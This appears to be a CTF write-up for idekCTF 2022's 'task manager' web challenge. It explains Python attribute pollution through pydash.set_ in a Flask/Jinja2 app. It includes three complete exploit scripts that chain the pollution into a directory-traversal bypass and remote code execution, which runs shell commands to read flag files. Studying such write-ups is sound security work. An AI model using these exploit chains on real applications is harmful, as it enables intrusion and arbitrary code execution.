Tags: jinja web jinja2 python
Rating: 5.0
This challenge is quite like a python version of prototype pollution, you can also say that it uses some idea from pyjail, over all, it's a really interesting one.
Let's have a look of the source:
```python
from flask import Flask, render_template, request, redirect
from taskmanager import TaskManager
import os
app = Flask(__name__)
@app.before_first_request
def init():
if app.env == 'yolo':
app.add_template_global(eval)
@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)
@app.route("/api/manage_tasks", methods=["POST"])
def manage_tasks():
task, status = request.json.get('task'), request.json.get('status')
if not task or type(task) != str:
return {"message": "You must provide a task name as a string!"}, 400
if len(task) > 150:
return {"message": "Tasks may not be over 150 characters long!"}, 400
if status and len(status) > 50:
return {"message": "Statuses may not be over 50 characters long!"}, 400
if not status:
tasks.complete(task)
return {"message": "Task marked complete!"}, 200
if type(status) != str:
return {"message": "Your status must be a string!"}, 400
if tasks.set(task, status):
return {"message": "Task updated!"}, 200
return {"message": "Invalid task name!"}, 400
@app.route("/api/get_tasks", methods=["POST"])
def get_tasks():
try:
task = request.json.get('task')
return tasks.get(task)
except:
return tasks.get_all()
@app.route('/')
def index():
return redirect("/home.html")
tasks = TaskManager()
app.run('0.0.0.0', 1337)
```
```python
import pydash
class TaskManager:
protected = ["set", "get", "get_all", "__init__", "complete"]
def __init__(self):
self.set("capture the flag", "incomplete")
def set(self, task, status):
if task in self.protected:
return
pydash.set_(self, task, status)
return True
def complete(self, task):
if task in self.protected:
return
pydash.set_(self, task, False)
return True
def get(self, task):
if hasattr(self, task):
return {task: getattr(self, task)}
return {}
def get_all(self):
return self.__dict__
```
The code is quite simple, the author built a flask app on top of `pydash.set_`, which is a advanced version of `setattr` but supports to set a variable by its path.
e.g.
```Python
>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D")
{'A': {'B': 'D'}}
```
## Accessing `app`
As there is nothing much could be use, it's a good idea to find out a way to access `app.py`. With `pydash.set_()`, we can make it happen using some special variables just like we usually do in ssti and pyjail:
```Python
pydash.set_(
TaskManager(),
'__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',
'xxx'
)
```
## Adding `eval` to jinja globals
Let's have a look back at `app.py`, and it's not hard to find some strange codes:
```python
@app.before_first_request
def init():
if app.env == 'yolo':
app.add_template_global(eval)
```
![](https://hxz3zo0taq.feishu.cn/space/api/box/stream/download/asynccode/?code=YjczMTMwMWMyZTY2OGIyNzg1Yzg2NmY0MzdiODBjZjFfb3hoOVltcEJiT0Y2Zkdsbm1CODF1b2JaR0tSNFRRZjNfVG9rZW46Ym94Y25tTTB0dldDSGdnNVIwcUg2SkVtd21ZXzE2NzQyNzg1MzE6MTY3NDI4MjEzMV9WNA)
We just got the access to `app.py`, which means `app.env` could be modified to anything we want. If we could make the code above run again, we could invoke `eval` function in templates and then trigger rce. Luckily, after some digging, I just found it's possible by settting `app._got_first_request` to `False`.
## Triggering `eval`
With `eval` in jinja globals, the next question is how can we invoke it. We all know that jinja recognise variables by `{{.*}}`, what if we changed it? In `app.jinja_env`, we could find two properties with the value of `{{` and `}}` named `variable_start_string` and `variable_end_string`, which means we could mark any code we want, including `eval(.*)`, as a jinja variable.
## Bypassing jinja directory traversal check
`eval` could only be invoked by ssti, but the html files under `templates` directorry is obviously not usable. So we have to find a way to bypass jinja directory traversal check to render any file we want.
From the jinja source(https://github.com/pallets/jinja/blob/36b601f24b30a91fe2fdc857116382bcb7655466/src/jinja2/loaders.py#L24-L38)
![](https://pics.kdxcxs.com:4433/images/2023/01/21/20230121143335.png)
we could tell that jinja uses `os.path.pardir` to check directory traversal, but we could change `pardir` to something else to bypass it.
## exp
By far, we've got anything we need to get a rce, the final step is to find a file with `eval(.*)` in it and modify `variable_start_string` and `variable_end_string` properties. I first tried using `app.py`, but jinja could not parse it properly as I ended up constructing a form in `{{ eval{# #}(.*) }}`, which is not a valid expression. But we just achieved directory traversal, why not jumpping out of the chellenge files and find something in python lib instead? And the final choice is `turtle.py`:
```Python
import requests
import re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../../usr/local/lib/python3.8/turtle.py'
app = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app'
# add eval to template globals
requests.post(url, json={"task": f"{app}.env", "status": "yolo"})
requests.post(url, json={"task": f"{app}._got_first_request", "status": None})
# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# change jinja_env
requests.post(url, json={"task": f"{app}.jinja_env.variable_start_string", "status": """'""']:\n value = """})
requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string", "status": "\n"})
# add global vars
requests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status": "__import__('os').popen('cat /flag-*.txt').read()"})
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
```
## Unintended sol
To begin with, let's have a look at the `Dockerfile` first:
```Dockerfile
RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt
...
COPY . .
```
Which means the `Dockerfile` itself is copied into the container with flag written on it, so it's a easier way to get flag by reading `Dockerfile` instead of rce.
```Python
import requests
import re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../Dockerfile'
# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
```
## RCE by `jinja2.runtime.exported`
> [https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager](https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager)
In the [source of jinja](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1208) we know that the rendering function acctually invokes `environment.from_string`, which then [invokes `environment.compile`](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1105) and returns a `code` object generated by `__builtins__.compile`. The `code` object endded up be [execed](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1222), if we could control the `code` object, we get rce.
After some debugging, we could find a variable named `exported_names` is [added](https://github.com/pallets/jinja/blob/main/src/jinja2/compiler.py#L839) into the source code and latter compiled into the `code` object. And it's not hard to find that it's a string array in [jinja2.runtime](https://github.com/pallets/jinja/blob/main/src/jinja2/runtime.py#L45), so we could change it by `pydash.set_()` and get rce:
```Python
import requests, re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
flag_url = f'{base_url}/../../tmp/flag'
payload = '''*
__import__('os').system('cp /flag* /tmp/flag')
#'''
# bypass jinja directory traversal check
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# replace exported to prepare rce
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0", "status": payload})
# trigger rce
requests.get(f'{base_url}/home.html')
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=flag_url)
p = r.prepare()
p.url = flag_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
```